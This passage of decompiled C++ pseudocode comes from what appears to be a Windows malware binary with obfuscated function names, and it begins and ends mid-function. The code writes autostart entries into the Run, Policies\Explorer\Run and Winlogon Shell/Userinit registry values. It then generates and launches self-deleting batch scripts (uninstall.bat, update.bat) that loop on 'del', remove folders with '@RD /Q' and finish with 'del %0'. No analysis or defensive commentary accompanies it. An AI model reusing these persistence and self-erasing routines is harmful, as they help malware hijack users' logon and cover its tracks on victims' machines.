        esp10 = esp10 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12;
    }
    zf34 = g415910 == 1;
    if (zf34) {
        esp35 = reinterpret_cast<void**>(esp10 - 4 - 16);
        v36 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffff);
        _0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(esp35, "explorer.exe", v36);
        QZD54QZ984FD9Q4QZQZD_408fda(esp35, 0x80000002, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "Shell", "explorer.exe", v36, v37, v17, v16, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 1, v11, v8, v6, v38, v39, v40);
        esp10 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp35 - 4) - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 32);
    }
    zf41 = g4157e0 == 1;
    if (zf41) {
        esp42 = reinterpret_cast<void**>(esp10 - 4 - 16);
        v43 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffff);
        _0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(esp42, "C:\\WINDOWS\\system32\\userinit.exe", v43);
        QZD54QZ984FD9Q4QZQZD_408fda(esp42, 0x80000002, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "Userinit", "C:\\WINDOWS\\system32\\userinit.exe", v43, v44, v17, v16, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 1, v11, v8, v6, v45, v46, v47);
        esp10 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp42 - 4) - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 32);
    }
    zf48 = g4157c8 == 1;
    if (zf48) {
        eax49 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157f8, v11, v8, v6));
        QZD54QZ984FD9Q4QZQZD_409132(0x4157f8, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\", eax49, v11, v8, v6, v50, v51, v52, v53, v54, v55, v56);
        esp10 = esp10 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12;
    }
    *reinterpret_cast<unsigned char*>(&v57) = 0;
    ecx58 = 64;
    esp59 = reinterpret_cast<void*>(esp10 - 4 + 4);
    esi60 = 0x415950;
    while (ecx58) {
        --ecx58;
        esi60 = esi60 + 4;
    }
    esi61 = esi60 + 2;
    eax62 = reinterpret_cast<void**>(size_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEIXZ(esi61, v11, v8, v6));
    eax63 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(esi61 + 1, eax62, v11, v8, v6));
    v64 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffe2c);
    eax65 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157e8, "EXEpath", v64, eax63, eax62, v11, v8, v6));
    al66 = QZD54QZ984FD9Q4QZQZD_408f64(0x4157e8, 0x80000001, eax65, "EXEpath", v64, eax63, eax62, v11, v8, v6);
    esp67 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp59) - 4 + 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 + 24);
    if (al66) {
        eax68 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157e8, v11, v8, v6));
        v69 = eax68;
        v70 = reinterpret_cast<void**>(0x80000001);
        RegDeleteKeyA(0x4157e8, 0x80000001, v69, v11, v8, v6);
        esp71 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp67) - 4 + 4 - 4 - 4 - 4 + 4);
    } else {
        v69 = reinterpret_cast<void**>(0x104);
        v70 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffe2c);
        GetModuleFileNameA(0x4157e8, 0, v70, 0x104, v11, v8, v6);
        esp71 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp67) - 4 - 4 - 4 - 4 + 4);
    }
    v72 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffff);
    eax73 = reinterpret_cast<void**>(getenv(0x4157e8));
    eax74 = reinterpret_cast<void**>(_0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(reinterpret_cast<int32_t>(ebp4) - 20, eax73, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
    v75 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffbc);
    QZD54QZ984FD9Q4QZQZD_40fc20(v75, eax74, eax73, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v76, v77, v78, v79, v80, v81, v82, v83, v84, v85, v86, v87, v88, v89, v90, v91, v92, v93, v94, v95, v96, v97, v98, v99, v100, v101, v102, v103, v75, eax74, eax73, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v104, v105, v106, v107, v108, v109, v110, v111, v112, v113, v114, v115, v116, v117, v118, v119, v120, v121, v122, v123, v124, v125, v126, v127, v128, v129, v130, v131);
    ecx132 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) - 20);
    _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(ecx132, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
    v133 = 1;
    al134 = reinterpret_cast<signed char>(_9std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z(ecx132));
    ebx135 = SetFileAttributesA;
    ecx136 = 0x410668;
    esp137 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp71) - 4 - 4 - 4 - 4 + 4 + 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 + 12 - 4 + 4 - 4 - 4 - 4 + 4 + 4 + 4);
    if (al134) {
        ecx136 = 0x415918;
        eax138 = reinterpret_cast<int32_t>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x415918, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
        ebx135(0x415918, eax138, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        esp137 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp137) - 4 - 4 + 4 - 4 - 4 + 4);
    }
    v139 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffe2c);
    eax140 = reinterpret_cast<int32_t>(ebx135(ecx136, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
    if (!eax140) {
        v133 = reinterpret_cast<unsigned char>(1 & *reinterpret_cast<unsigned char*>(&eax140));
    }
    eax141 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(reinterpret_cast<int32_t>(ebp4) - 68, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
    _0_basic_ofstream_DU_char_traits_D_std_std_QAE_PBDH_Z(reinterpret_cast<int32_t>(ebp4) - 0xd0, eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
    ecx142 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffff30);
    al143 = reinterpret_cast<signed char>(is_open_basic_ofstream_DU_char_traits_D_std_std_QBE_NXZ(ecx142, eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
    esp144 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp137) - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
    if (al143) {
        ebx135 = _6std_YAAAV_basic_ostream_DU_char_traits_D_std_0_AAV10_PBD_Z;
        ebx135(ecx142);
        v145 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffffe);
        ecx146 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffdc);
        v147 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffe2c);
        eax148 = reinterpret_cast<void**>(_0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(ecx146, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
        v149 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) + 0xffffffcc);
        eax150 = QZD54QZ984FD9Q4QZQZD_40fc1a(ecx146, v149, "del \"", eax148, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, ecx146, v149, "del \"", eax148, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11);
        v151 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffec);
        eax194 = QZD54QZ984FD9Q4QZQZD_40fc20(v151, eax150, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v152, v153, v154, v155, v156, v157, v158, v159, v160, v161, v162, v163, v164, v165, v166, v167, v168, v169, v170, v171, v172, v151, eax150, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v173, v174, v175, v176, v177, v178, v179, v180, v181, v182, v183, v184, v185, v186, v187, v188, v189, v190, v191, v192, v193);
        v195 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) + 0xffffff30);
        QZD54QZ984FD9Q4QZQZD_40fc4a(ecx146, v195, eax194, v151, eax150, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v196, v197, ecx146, v195, eax194, v151, eax150, v147, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v198, v199);
        _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<int32_t>(ebp4) - 20, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<int32_t>(ebp4) - 52, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        ecx200 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) - 36);
        _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(ecx200, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        esp201 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp144) - 4 - 4 - 4 + 4 + 4 + 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 + 20 - 4 + 4 - 4 + 4 - 4 + 4);
        if (v133) {
            v202 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffffe);
            v203 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xfffffe2c);
            ecx204 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffec);
            eax205 = reinterpret_cast<void**>(_0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(ecx204, v203, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
            v206 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) + 0xffffffcc);
            eax207 = QZD54QZ984FD9Q4QZQZD_40fc1a(ecx204, v206, "if exist \"", eax205, v203, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, ecx204, v206, "if exist \"", eax205, v203, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70);
            v208 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffdc);
            eax247 = QZD54QZ984FD9Q4QZQZD_40fc20(v208, eax207, v203, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v209, v210, v211, v212, v213, v214, v215, v216, v217, v218, v219, v220, v221, v222, v223, v224, v225, v226, v227, v208, eax207, v203, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v228, v229, v230, v231, v232, v233, v234, v235, v236, v237, v238, v239, v240, v241, v242, v243, v244, v245, v246);
            QZD54QZ984FD9Q4QZQZD_40fc4a(ecx204, reinterpret_cast<int32_t>(ebp4) + 0xffffff30, eax247, v208, eax207, v203, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<int32_t>(ebp4) - 36, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<int32_t>(ebp4) - 52, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
            ecx200 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) - 20);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(ecx200, v202, "\" goto Repeat\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
            esp201 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp201) - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 + 20 - 4 + 4 - 4 + 4 - 4 + 4);
        }
        al248 = reinterpret_cast<signed char>(_9std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z(ecx200));
        ecx249 = reinterpret_cast<void**>(0x410668);
        esp250 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp201) - 4 - 4 - 4 + 4 + 4 + 4);
        if (al248) {
            v251 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) + 0xffffffcc);
            eax252 = QZD54QZ984FD9Q4QZQZD_40fc1a(0x410668, v251, "@RD /Q \"", 0x415918, "\"\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, 0x410668, v251, "@RD /Q \"", 0x415918, "\"\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11);
            v253 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffdc);
            eax296 = QZD54QZ984FD9Q4QZQZD_40fc20(v253, eax252, "\"\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v254, v255, v256, v257, v258, v259, v260, v261, v262, v263, v264, v265, v266, v267, v268, v269, v270, v271, v272, v273, v274, v253, eax252, "\"\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v275, v276, v277, v278, v279, v280, v281, v282, v283, v284, v285, v286, v287, v288, v289, v290, v291, v292, v293, v294, v295);
            v297 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) + 0xffffff30);
            QZD54QZ984FD9Q4QZQZD_40fc4a(0x410668, v297, eax296, v253, eax252, "\"\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v298, v299, 0x410668, v297, eax296, v253, eax252, "\"\n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6, v57, v300, v301);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<int32_t>(ebp4) - 36, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
            ecx249 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffcc);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(ecx249, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
            esp250 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp250) - 4 - 4 - 4 - 4 - 4 + 4 + 12 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 + 20 - 4 + 4 - 4 + 4);
        }
        v302 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) - 0xd0);
        ebx135(ecx249, v302, "del %0 \n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        ebx135(ecx249, reinterpret_cast<int32_t>(ebp4) - 0xd0, "exit \n", v302, "del %0 \n", v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        close_basic_ofstream_DU_char_traits_D_std_std_QAEXXZ(reinterpret_cast<int32_t>(ebp4) - 0xd0, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        ecx142 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp4) + 0xffffffbc);
        eax303 = reinterpret_cast<int32_t>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(ecx142, 0x410668, 0x410668, 0, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6));
        ShellExecuteA(ecx142, 0, "open", eax303, 0x410668, 0x410668, 0, v145, "\"\n", eax141, 16, 1, v139, 0x80, v72, "\\uninstall.bat", v70, v69, v11, v8, v6);
        esp144 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp250) - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 + 16 - 4 + 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4);
    }
    exit(ecx142);
    esp304 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp144) - 4 - 4 + 4 - 4);
    zf305 = g4156f8 == 1;
    esp306 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) - 0x1d4 - 4 - 4 - 4);
    if (zf305) {
        ecx142 = reinterpret_cast<void**>(0x4156c0);
        QZD54QZ984FD9Q4QZQZD_40524e(0x4156c0, 0x415918, 0x410668, ebx135);
        esp306 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp306) - 4 + 4);
    }
    zf307 = g415b64 == 1;
    if (zf307) {
        QZD54QZ984FD9Q4QZQZD_40e4ab(ecx142, 0x415918, 0x410668, ebx135);
        esp306 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp306) - 4 + 4);
    }
    zf308 = g415808 == 1;
    if (zf308) {
        eax309 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157f8, 0x415918, 0x410668, ebx135));
        v310 = reinterpret_cast<void**>(0x80000001);
        v311 = reinterpret_cast<void**>(0x406d7d);
        QZD54QZ984FD9Q4QZQZD_409132(0x4157f8, 0x80000001, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", eax309, 0x415918, 0x410668, ebx135, v312, v313, v314, v315, v316, v317, v318);
        esp306 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp306) - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12);
    }
    zf319 = g415911 == 1;
    if (zf319) {
        eax320 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157f8, 0x415918, 0x410668, ebx135));
        v310 = reinterpret_cast<void**>(0x80000002);
        v311 = reinterpret_cast<void**>(0x406d9e);
        QZD54QZ984FD9Q4QZQZD_409132(0x4157f8, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", eax320, 0x415918, 0x410668, ebx135, v321, v322, v323, v324, v325, v326, v327);
        esp306 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp306) - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12);
    }
    zf328 = g415910 == 1;
    if (zf328) {
        esp329 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp306) - 4 - 16);
        v330 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffff);
        _0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(esp329, "explorer.exe", v330);
        QZD54QZ984FD9Q4QZQZD_408fda(esp329, 0x80000002, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "Shell", "explorer.exe", v330, v331, v311, v310, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 1, 0x415918, 0x410668, ebx135, v332, v333, v334);
        esp306 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp329 - 4) - 4 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 32);
    }
    zf335 = g4157e0 == 1;
    if (zf335) {
        ecx336 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp306) - 4 - 16);
        v337 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffff);
        _0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(ecx336, "C:\\WINDOWS\\system32\\userinit.exe", v337);
        QZD54QZ984FD9Q4QZQZD_408fda(ecx336, 0x80000002, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "Userinit", "C:\\WINDOWS\\system32\\userinit.exe", v337, v338, v311, v310, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 1, 0x415918, 0x410668, ebx135, v339, v340, v341);
    }
    zf342 = g4157c8 == 1;
    if (zf342) {
        eax343 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157f8, 0x415918, 0x410668, ebx135));
        QZD54QZ984FD9Q4QZQZD_409132(0x4157f8, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\", eax343, 0x415918, 0x410668, ebx135, v344, v345, v346, v347, v348, v349, v350);
    }
    eax351 = reinterpret_cast<void**>(size_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEIXZ(0x415950, 0x415918, 0x410668, ebx135));
    eax352 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x415950, eax351, 0x415918, 0x410668, ebx135));
    v353 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffe2c);
    eax354 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157e8, "EXEpath", v353, eax352, eax351, 0x415918, 0x410668, ebx135));
    al355 = QZD54QZ984FD9Q4QZQZD_408f64(0x4157e8, 0x80000001, eax354, "EXEpath", v353, eax352, eax351, 0x415918, 0x410668, ebx135);
    if (al355) {
        eax356 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157e8, 0x415918, 0x410668, ebx135));
        v357 = eax356;
        v358 = reinterpret_cast<void**>(0x80000001);
        RegDeleteKeyA(0x4157e8, 0x80000001, v357, 0x415918, 0x410668, ebx135);
    } else {
        v357 = reinterpret_cast<void**>(0x104);
        v358 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffe2c);
        GetModuleFileNameA(0x4157e8, 0, v358, 0x104, 0x415918, 0x410668, ebx135);
    }
    esi359 = SetFileAttributesA;
    v360 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffe2c);
    v361 = 1;
    eax362 = reinterpret_cast<int32_t>(esi359(0x4157e8, v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135));
    if (!eax362) {
        v361 = reinterpret_cast<unsigned char>(1 & *reinterpret_cast<unsigned char*>(&eax362));
    }
    al363 = reinterpret_cast<signed char>(_9std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z(0x4157e8));
    ecx364 = 0x410668;
    if (al363) {
        ecx364 = 0x415918;
        eax365 = reinterpret_cast<int32_t>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x415918, 0x80, v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135));
        esi359(0x415918, eax365, 0x80, v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135);
    }
    v366 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffffe);
    eax367 = reinterpret_cast<void**>(getenv(ecx364));
    eax368 = reinterpret_cast<void**>(_0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(reinterpret_cast<uint32_t>(esp304) + 0xffffffec, eax367, v366, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135));
    v369 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffcc);
    eax422 = QZD54QZ984FD9Q4QZQZD_40fc20(v369, eax368, eax367, v366, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v370, v371, v372, v373, v374, v375, v376, v377, v378, v379, v380, v381, v382, v383, v384, v385, v386, v387, v388, v389, v390, v391, v392, v393, v394, v395, v369, eax368, eax367, v366, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v396, v397, v398, v399, v400, v401, v402, v403, v404, v405, v406, v407, v408, v409, v410, v411, v412, v413, v414, v415, v416, v417, v418, v419, v420, v421);
    v423 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffbc);
    QZD54QZ984FD9Q4QZQZD_40fc20(v423, eax422, v366, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v424, v425, v426, v427, v428, v429, v430, v431, v432, v433, v434, v435, v436, v437, v438, v439, v440, v441, v442, v443, v444, v445, v446, v447, v448, v449, v450, v423, eax422, v366, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v451, v452, v453, v454, v455, v456, v457, v458, v459, v460, v461, v462, v463, v464, v465, v466, v467, v468, v469, v470, v471, v472, v473, v474, v475, v476, v477);
    _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffcc, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135);
    _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffec, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135);
    eax478 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffbc));
    _0_basic_ofstream_DU_char_traits_D_std_std_QAE_PBDH_Z(reinterpret_cast<uint32_t>(esp304) + 0xffffff30);
    ecx479 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffff30);
    al480 = reinterpret_cast<signed char>(is_open_basic_ofstream_DU_char_traits_D_std_std_QBE_NXZ(ecx479));
    if (al480) {
        esi481 = _6std_YAAAV_basic_ostream_DU_char_traits_D_std_0_AAV10_PBD_Z;
        esi481(ecx479);
        v482 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffffe);
        ecx483 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffdc);
        v484 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffe2c);
        eax485 = reinterpret_cast<void**>(_0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(ecx483, v484, v482, "\"\n"));
        v486 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffffcc);
        eax487 = QZD54QZ984FD9Q4QZQZD_40fc1a(ecx483, v486, "del \"", eax485, v484, v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, ecx483, v486, "del \"", eax485, v484, v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918);
        v488 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffec);
